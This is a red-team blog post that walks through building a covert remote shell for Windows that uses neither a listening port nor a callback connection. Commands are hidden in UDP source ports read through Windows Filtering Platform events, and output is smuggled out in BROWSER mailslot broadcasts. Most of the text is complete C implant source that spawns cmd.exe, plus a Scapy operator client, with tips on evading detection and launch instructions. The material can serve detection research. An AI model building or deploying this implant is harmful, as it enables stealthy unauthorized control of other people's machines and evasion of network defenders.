Dear Fellowlship, today’s homily is about how a fool started to play with the idea of controlling a shell remotely without listening to any port (bind shell), or doing a connection back to it (reverse shell). Please, take a seat and listen to the story of a journey to the No-Sockets Land.
Of course, declaring that we can communicate with other machine without sockets it’s a tricky afirmation: sockets, in a way or another, are needed. We are going to explore the usage of two covert-channels to trasmit information to and from our remote shell, so there are no “direct connections” between the two machines (or in other words: our implant is not going to bind to a local port and it is not going to connect back to our machine, we are going to explore an alternative way. Just have fun and don’t be harsh on us because we used the term “connectionless” :P
This post came after crafting a small PoC to satisfy our curiosity. The tactic of keeping a few compromised machines “quiet” (without communication with the C2) until a pre-shared combination of ports are hit is something that @TheXC3LL shared in his article “Stealthier communications & Port Knocking via Windows Filtering Platform (WFP)”.
In the article our owl explained how some “clean boxes” are left behind until its retake is needed. When the Red Team needs to reactivate the communication with its implant they just “knock” on a few predefined ports and the implant wakes up again. To do this the implant uses the Windows Filtering Platform APIs in order to monitor the firewall events and to check for incomming UDP packets (source and destionation port/ip), if the predefined condition is met then it connects back to a fallback C2 or just fire a reverse shell.
Here, in our PoC, we are going to use this technique partially. As we do not want to “create” a socket in the compromised machine, and we need to communicate with our implant in some way, we use a wicked approach based on Port Knocking. Or we should call it “reverse” Port Knocking.
Instead of “knocking” at different ports, we “knock” only in a port but we change the source port. And this source port is our covert-channel: we can use those two bytes to transmit information. So here is the thing… the events collected from WFP are our inbound channel.
We just found a way to transmit information to our implant, but how are we going to exfiltrate the output of our inputs/commands? Well, here is where Mailslots take in action. From Microsoft:
A mailslot is a mechanism for one-way interprocess communications (IPC). Applications can store messages in a mailslot. (...). These messages are typically sent over a network to either a specified computer **or to all computers in a specified domain**. (...)
(...) Mailslots, on the other hand, are a simple way for a process to broadcast messages to multiple processes. One important consideration is that mailslots broadcast messages using datagrams. A datagram is a small packet of information that the network sends along the wire. Like a radio or television broadcast, a datagram offers no confirmation of receipt; there is no way to guarantee that a datagram has been received.(...)
Ok, we can use mailslots to broadcast the output over the network and then wait patiently in our end in order to read the output. Where is the fun? Well… every Windows is using mailslots continously. Your machine is broadcasting datagrams like a minigun. Have you ever found those “BROWSER” packets in Wireshark?
Yep, the CIFS Browser protocol uses the mailslot \MAILSLOT\BROWSE, so we can smuggle the output of our shell here. This is gonna be our outbound channel.
After this brief introduction, let’s dig a bit!
As first contact we can reuse the code to monitor the events and add a minor edit to print the source ports:
#include <windows.h>
#include <fwpmtypes.h>
#include <fwpmu.h>
#include <stdio.h>
#include <winsock.h>
#pragma comment (lib, "fwpuclnt.lib")
#pragma comment (lib, "Ws2_32.lib")
#define EXIT_ON_ERROR(err) if((err) != ERROR_SUCCESS) {goto CLEANUP;}
FILETIME ft;
DWORD InitFilterConditions(
__in_opt PCWSTR appPath,
__in_opt const SOCKADDR* localAddr,
__in_opt UINT8 ipProtocol,
__in UINT32 numCondsIn,
__out_ecount_part(numCondsIn, *numCondsOut) FWPM_FILTER_CONDITION0* conds,
__out UINT32* numCondsOut,
__deref_out FWP_BYTE_BLOB** appId
)
{
*numCondsOut = 0;
return ERROR_SUCCESS;
}
DWORD FindRecentEvents(
__in HANDLE engine,
__in_opt PCWSTR appPath,
__in_opt const SOCKADDR* localAddr,
__in_opt UINT8 ipProtocol,
__in UINT32 seconds,
__deref_out_ecount(*numEvents) FWPM_NET_EVENT0*** events,
__out UINT32* numEvents
)
{
DWORD result = ERROR_SUCCESS;
FWPM_NET_EVENT_ENUM_TEMPLATE0 enumTempl;
ULARGE_INTEGER ulTime;
FWPM_FILTER_CONDITION0 conds[4];
UINT32 numConds;
FWP_BYTE_BLOB* appBlob = NULL;
HANDLE enumHandle = NULL;
memset(&enumTempl, 0, sizeof(enumTempl));
// Use the current time as the end time of the window.
GetSystemTimeAsFileTime(&(enumTempl.endTime));
// Subtract the number of seconds specified by the caller to find the start
// time.
ulTime.LowPart = enumTempl.endTime.dwLowDateTime;
ulTime.HighPart = enumTempl.endTime.dwHighDateTime;
ulTime.QuadPart -= seconds * 10000000ui64;
enumTempl.startTime.dwLowDateTime = ulTime.LowPart;
enumTempl.startTime.dwHighDateTime = ulTime.HighPart;
result = InitFilterConditions(
appPath,
&localAddr,
ipProtocol,
ARRAYSIZE(conds),
conds,
&numConds,
&appBlob
);
EXIT_ON_ERROR(result);
enumTempl.numFilterConditions = numConds;
if (numConds > 0)
{
enumTempl.filterCondition = conds;
}
result = FwpmNetEventCreateEnumHandle0(
engine,
&enumTempl,
&enumHandle
);
EXIT_ON_ERROR(result);
result = FwpmNetEventEnum0(
engine,
enumHandle,
INFINITE,
events,
numEvents
);
EXIT_ON_ERROR(result);
CLEANUP:
FwpmNetEventDestroyEnumHandle0(engine, enumHandle);
FwpmFreeMemory0((void**)&appBlob);
return result;
}
LPSTR detectHit(void) {
struct in_addr rinaddr;
HANDLE engineHandle = 0;
FWPM_NET_EVENT0** events = NULL, * event;
UINT32 numEvents = 0, i;
static const char* const types[] =
{
"FWPM_NET_EVENT_TYPE_IKEEXT_MM_FAILURE",
"FWPM_NET_EVENT_TYPE_IKEEXT_QM_FAILURE",
"FWPM_NET_EVENT_TYPE_IKEEXT_EM_FAILURE",
"FWPM_NET_EVENT_TYPE_CLASSIFY_DROP",
"FWPM_NET_EVENT_TYPE_IPSEC_KERNEL_DROP"
};
const char* type;
// Use dynamic sessions for efficiency and safety:
// - All objects associated with the dynamic session are deleted with one call.
// - Filtering policy objects are deleted even when the application crashes.
FWPM_SESSION0 session;
memset(&session, 0, sizeof(session));
session.flags = FWPM_SESSION_FLAG_DYNAMIC;
DWORD result = FwpmEngineOpen0(NULL, RPC_C_AUTHN_WINNT, NULL, &session, &engineHandle);
if (ERROR_SUCCESS == result)
{
result = FindRecentEvents(
engineHandle,
0,
0,
0,
100,
&events,
&numEvents
);
}
if (numEvents != 0)
{
for (i = 0; i < numEvents; ++i)
{
event = events[i];
type = (event->type < ARRAYSIZE(types)) ? types[event->type]
: "<unknown>";
if (event->header.ipVersion == FWP_IP_VERSION_V4 && event->header.ipProtocol == IPPROTO_UDP
&& (event->header.timeStamp.dwHighDateTime > ft.dwHighDateTime
|| (event->header.timeStamp.dwHighDateTime == ft.dwHighDateTime && event->header.timeStamp.dwLowDateTime > ft.dwLowDateTime)
)
)
{
rinaddr.s_addr = htonl(event->header.remoteAddrV4);
ft.dwHighDateTime = event->header.timeStamp.dwHighDateTime;
ft.dwLowDateTime = event->header.timeStamp.dwLowDateTime;
//printf("[%s] - %x - %x\n", inet_ntoa(rinaddr), event->header.localPort, event->header.remotePort);
char partialOut[3] = { 0 };
memcpy(partialOut, &event->header.remotePort, 2);
printf("%s", partialOut);
}
}
}
}
int main(int argc, char** argv[]) {
ft.dwHighDateTime = 0;
ft.dwLowDateTime = 0;
for (;;) {
detectHit();
Sleep(1000);
}
return 0;
}
Now we can try to send packets against a predefined port (for example, 123/UDP), encoding a message inside the source ports. Keep in mind that we don’t care about the content because our information is carried as the source port (this means: please, try to make the payload as similar as possible to a real and “regular” packet based in the protocol that you are trying to simulate).
import sys
from scapy.all import *
def textToPorts(text):
chunks = [text[i:i+2] for i in range(0, len(text), 2)]
for chunk in chunks:
send(IP(dst=sys.argv[1])/UDP(dport=123,sport=int("0x" + chunk[::-1].encode("hex"), 16))/Raw(load="Use stealthier packet in a real operation, pls"))
if __name__ == "__main__":
while 1:
command = raw_input("Insert text> ")
textToPorts(command)
We can see how it worked like a charm:
Right now we can listen without ears sockets. Let’s move to the next task!
Working with mailslots is pretty easy. We only need to open a handle to \\*\MAILSLOT\BROWSE and write inside it like we do with regular files. The \\*\ indicates that the message has to be broadcasted to the whole domain.
As any protocol, we have to keep some kind of “structure” to avoid crafting a malformed packet in excess. Luckily for us, CIFS BROWSER protocol is very lazy and we can find a suitable request easy. To look for our candidates we can just loop from 0x00 to 0xFF and write it over the handle:
#include <windows.h>
#include <stdio.h>
int main(int argc, char** argv) {
HANDLE hMailslot = NULL;
DWORD dwWritten;
hMailslot = CreateFileA("\\\\*\\MAILSLOT\\BROWSE", GENERIC_WRITE, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
for (int i = 0x00; i < 0xFF; i++) {
char message[14] = { 0 };
snprintf(message, 14, "%cHello World!",i);
WriteFile(hMailslot, message, 14, &dwWritten, NULL);
}
CloseHandle(hMailslot);
return 0;
}
As we can see most of the messages are interpreted as “malformed packets” or are undefined in the protocol standard:
The best candidate looks like to be the GetBackupListRequest command. It uses the 0x09 as opcode:
To retrieve the information at our end we can sniff the network using Scapy:
# ...
def getPacket(pkt):
needle = "BROWSE\x00\x00\x00\x09"
data = pkt[Raw].load
if needle in data:
sys.stdout.write(data[data.find(needle) + len(needle):])
sys.stdout.flush()
def monitor():
sniff(prn=getPacket, filter="port 138 and host " + sys.argv[1], iface=sys.argv[2])
# ...
Before continuing we need to clarify some points that are to be taken into consideration. The most important: this kind of approach will only work if there is no network elements that could mask the source port. In complex infrastructures you need to be close (usually in the same network segment) in order to perform this technique. If a NAT-like device sits between you and the sleeping box it is most likely that the information encoded as source port is going to be overwritten.
Secondly, in our PoC we are just using one port to transfer the information for the sake of brevity. In a real implant, you need to knock at least three different ports:
- First port to wake up, create the cmd.exe child process and to enter in “shell” mode
- Second port to read the inputs (as we are doing right now)
- Third port to stop the “shell” mode and enter in sleeping mode again
Also something really, really, really important: when the first port is hit (the “wake up”) we have to save the IP which contacted us, and then use it as criteria to meet in our events of reading inputs. This matters a lot to avoid the insertion of corrupted data because we are reading stray packets from other machines. We need to match the port choosen to carry the input AND the IP who made us wake up.
For this very same reason to wake up we need to add an extra condition: not only a selected port has to be knocked, the source port has to be one that would not be used in a natural environment (for example 666).
Lastly we have to keep in mind that mailslots are size limited. We only can send 424 bytes per message.
After all this chit-chat let’s play a bit with our shitty PoC. Here comes the client:
# PoC by Juan Manuel Fernandez (@TheXC3LL)
import sys
import threading
from scapy.all import *
def textToPorts(text):
chunks = [text[i:i+2] for i in range(0, len(text), 2)]
for chunk in chunks:
send(IP(dst=sys.argv[1])/UDP(dport=123,sport=int("0x" + chunk[::-1].encode("hex"), 16))/Raw(load="Adepts of 0xCC here to make some noise, avoid this kind of obvious malformed packet with stupid messages ;)"), verbose=False)
def getPacket(pkt):
needle = "BROWSE\x00\x00\x00\x09"
data = pkt[Raw].load
if needle in data:
sys.stdout.write(data[data.find(needle) + len(needle):])
sys.stdout.flush()
def monitor():
sniff(prn=getPacket, filter="port 138 and host " + sys.argv[1], iface=sys.argv[2])
if __name__ == "__main__":
x = threading.Thread(target=monitor)
x.start()
while 1:
command = raw_input()
textToPorts(command + "\r\n")
And here the other part:
/* PoC by Juan Manuel Fernandez (@TheXC3LL) */
#include <windows.h>
#include <fwpmtypes.h>
#include <fwpmu.h>
#include <stdio.h>
#include <winsock.h>
#pragma comment (lib, "fwpuclnt.lib")
#pragma comment (lib, "Ws2_32.lib")
#define EXIT_ON_ERROR(err) if((err) != ERROR_SUCCESS) {goto CLEANUP;}
#define BUFFER_SIZE 400
FILETIME ft;
struct child_pipes {
HANDLE child_IN_R;
HANDLE child_IN_W;
HANDLE child_OUT_R;
HANDLE child_OUT_W;
};
typedef struct child_pipes child_pipes;
DWORD InitFilterConditions(
__in_opt PCWSTR appPath,
__in_opt const SOCKADDR* localAddr,
__in_opt UINT8 ipProtocol,
__in UINT32 numCondsIn,
__out_ecount_part(numCondsIn, *numCondsOut) FWPM_FILTER_CONDITION0* conds,
__out UINT32* numCondsOut,
__deref_out FWP_BYTE_BLOB** appId
)
{
*numCondsOut = 0;
return ERROR_SUCCESS;
}
DWORD FindRecentEvents(
__in HANDLE engine,
__in_opt PCWSTR appPath,
__in_opt const SOCKADDR* localAddr,
__in_opt UINT8 ipProtocol,
__in UINT32 seconds,
__deref_out_ecount(*numEvents) FWPM_NET_EVENT0*** events,
__out UINT32* numEvents
)
{
DWORD result = ERROR_SUCCESS;
FWPM_NET_EVENT_ENUM_TEMPLATE0 enumTempl;
ULARGE_INTEGER ulTime;
FWPM_FILTER_CONDITION0 conds[4];
UINT32 numConds;
FWP_BYTE_BLOB* appBlob = NULL;
HANDLE enumHandle = NULL;
memset(&enumTempl, 0, sizeof(enumTempl));
// Use the current time as the end time of the window.
GetSystemTimeAsFileTime(&(enumTempl.endTime));
// Subtract the number of seconds specified by the caller to find the start
// time.
ulTime.LowPart = enumTempl.endTime.dwLowDateTime;
ulTime.HighPart = enumTempl.endTime.dwHighDateTime;
ulTime.QuadPart -= seconds * 10000000ui64;
enumTempl.startTime.dwLowDateTime = ulTime.LowPart;
enumTempl.startTime.dwHighDateTime = ulTime.HighPart;
result = InitFilterConditions(
appPath,
&localAddr,
ipProtocol,
ARRAYSIZE(conds),
conds,
&numConds,
&appBlob
);
EXIT_ON_ERROR(result);
enumTempl.numFilterConditions = numConds;
if (numConds > 0)
{
enumTempl.filterCondition = conds;
}
result = FwpmNetEventCreateEnumHandle0(
engine,
&enumTempl,
&enumHandle
);
EXIT_ON_ERROR(result);
result = FwpmNetEventEnum0(
engine,
enumHandle,
INFINITE,
events,
numEvents
);
EXIT_ON_ERROR(result);
CLEANUP:
FwpmNetEventDestroyEnumHandle0(engine, enumHandle);
FwpmFreeMemory0((void**)&appBlob);
return result;
}
void getCommand(struct child_pipes* pipes) {
struct in_addr rinaddr;
HANDLE engineHandle = 0;
FWPM_NET_EVENT0** events = NULL, * event;
UINT32 numEvents = 0, i;
static const char* const types[] =
{
"FWPM_NET_EVENT_TYPE_IKEEXT_MM_FAILURE",
"FWPM_NET_EVENT_TYPE_IKEEXT_QM_FAILURE",
"FWPM_NET_EVENT_TYPE_IKEEXT_EM_FAILURE",
"FWPM_NET_EVENT_TYPE_CLASSIFY_DROP",
"FWPM_NET_EVENT_TYPE_IPSEC_KERNEL_DROP"
};
const char* type;
// Use dynamic sessions for efficiency and safety:
// - All objects associated with the dynamic session are deleted with one call.
// - Filtering policy objects are deleted even when the application crashes.
FWPM_SESSION0 session;
memset(&session, 0, sizeof(session));
session.flags = FWPM_SESSION_FLAG_DYNAMIC;
DWORD result = FwpmEngineOpen0(NULL, RPC_C_AUTHN_WINNT, NULL, &session, &engineHandle);
if (ERROR_SUCCESS == result)
{
result = FindRecentEvents(
engineHandle,
0,
0,
0,
100,
&events,
&numEvents
);
}
if (numEvents != 0)
{
for (i = 0; i < numEvents; ++i)
{
event = events[i];
type = (event->type < ARRAYSIZE(types)) ? types[event->type]
: "<unknown>";
if (event->header.ipVersion == FWP_IP_VERSION_V4 && event->header.ipProtocol == IPPROTO_UDP
&& (event->header.timeStamp.dwHighDateTime > ft.dwHighDateTime
|| (event->header.timeStamp.dwHighDateTime == ft.dwHighDateTime && event->header.timeStamp.dwLowDateTime > ft.dwLowDateTime)
)
)
{
rinaddr.s_addr = htonl(event->header.remoteAddrV4);
ft.dwHighDateTime = event->header.timeStamp.dwHighDateTime;
ft.dwLowDateTime = event->header.timeStamp.dwLowDateTime;
//printf("[%s] - %x - %x\n", inet_ntoa(rinaddr), event->header.localPort, event->header.remotePort);
char partialOut[3] = { 0 };
memcpy(partialOut, &event->header.remotePort, 2);
printf("%s", partialOut);
write_to_pipe(pipes->child_IN_W, partialOut);
}
}
}
}
struct child_pipes* setup_pipes(void) {
struct child_pipes* pipes = NULL;
SECURITY_ATTRIBUTES saAttr;
saAttr.nLength = sizeof(SECURITY_ATTRIBUTES);
saAttr.bInheritHandle = TRUE;
saAttr.lpSecurityDescriptor = NULL;
pipes = (child_pipes*)malloc(sizeof(child_pipes));
if (!CreatePipe(&pipes->child_OUT_R, &pipes->child_OUT_W, &saAttr, 0)) {
return -1;
}
if (!CreatePipe(&pipes->child_IN_R, &pipes->child_IN_W, &saAttr, 0)) {
return -1;
}
if (!SetHandleInformation(pipes->child_OUT_R, HANDLE_FLAG_INHERIT, 0)) {
return -1;
}
if (!SetHandleInformation(pipes->child_IN_W, HANDLE_FLAG_INHERIT, 0)) {
return -1;
}
return pipes;
}
void release_pipes(struct child_pipes* pipes) {
free(pipes);
}
int read_from_pipe(HANDLE pipe, LPSTR buff) {
BOOL bSuccess;
DWORD read;
if (!PeekNamedPipe(pipe, NULL, 0, NULL, &read, NULL)) {
return -1;
}
if (read) {
bSuccess = ReadFile(pipe, buff, BUFFER_SIZE, &read, NULL);
if (!bSuccess) {
return -1;
}
}
return read;
}
int write_to_pipe(HANDLE pipe, LPSTR buff) {
BOOL bSuccess;
DWORD written;
bSuccess = WriteFile(pipe, buff, strlen(buff), &written, NULL);
if (!bSuccess) {
return -1;
}
return written;
}
int create_childprocess(LPSTR binary, struct child_pipes* pipes) {
PROCESS_INFORMATION piProcInfo;
STARTUPINFOA siStartInfo = { 0 };
BOOL bSuccess = FALSE;
siStartInfo.cb = sizeof(STARTUPINFOA);
siStartInfo.hStdError = pipes->child_OUT_W;
siStartInfo.hStdOutput = pipes->child_OUT_W;
siStartInfo.hStdInput = pipes->child_IN_R;
siStartInfo.dwFlags |= STARTF_USESTDHANDLES;
bSuccess = CreateProcessA(NULL,
binary,
NULL,
NULL,
TRUE,
0,
NULL,
NULL,
&siStartInfo,
&piProcInfo
);
if (!bSuccess) {
return -1;
}
CloseHandle(pipes->child_OUT_W);
CloseHandle(pipes->child_IN_R);
return piProcInfo.hProcess;
}
void sendOutput(LPSTR output, HANDLE hMailslot) {
char message[BUFFER_SIZE + 2] = { 0 };
DWORD dwWritten = 0;
snprintf(message, BUFFER_SIZE + 2, "\x09%s", output);
WriteFile(hMailslot, message, strlen(message) + 1, &dwWritten, NULL);
return;
}
int main(int argc, char** argv[]) {
ft.dwHighDateTime = 0;
ft.dwLowDateTime = 0;
int status = 0;
char buffer_stdout[BUFFER_SIZE + 1] = { 0 };
struct child_pipes* pipes = NULL;
int process = 0;
HANDLE hMailslot = NULL;
pipes = setup_pipes();
hMailslot = CreateFileA("\\\\*\\MAILSLOT\\BROWSE", GENERIC_WRITE, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if ((process = create_childprocess("C:\\windows\\system32\\cmd.exe", pipes)) == -1) {
release_pipes(pipes);
return -1;
}
while (1) {
GetExitCodeProcess(process, &status);
if (status != STILL_ACTIVE) {
break;
}
do {
memset(buffer_stdout, 0, sizeof(buffer_stdout));
status = read_from_pipe(pipes->child_OUT_R, buffer_stdout);
if (status == -1) {
break;
}
else {
if (strlen(buffer_stdout) != 0) {
sendOutput(buffer_stdout, hMailslot);
}
}
} while (status != 0);
Sleep(300);
getCommand(pipes);
}
return 0;
}
Execute the python script in your linux machine, and then fire the executable in the Windows machine as a privileged user. A shell should arrive :):
We hope you enjoyed this reading! Feel free to give us feedback at our twitter @AdeptsOf0xCC.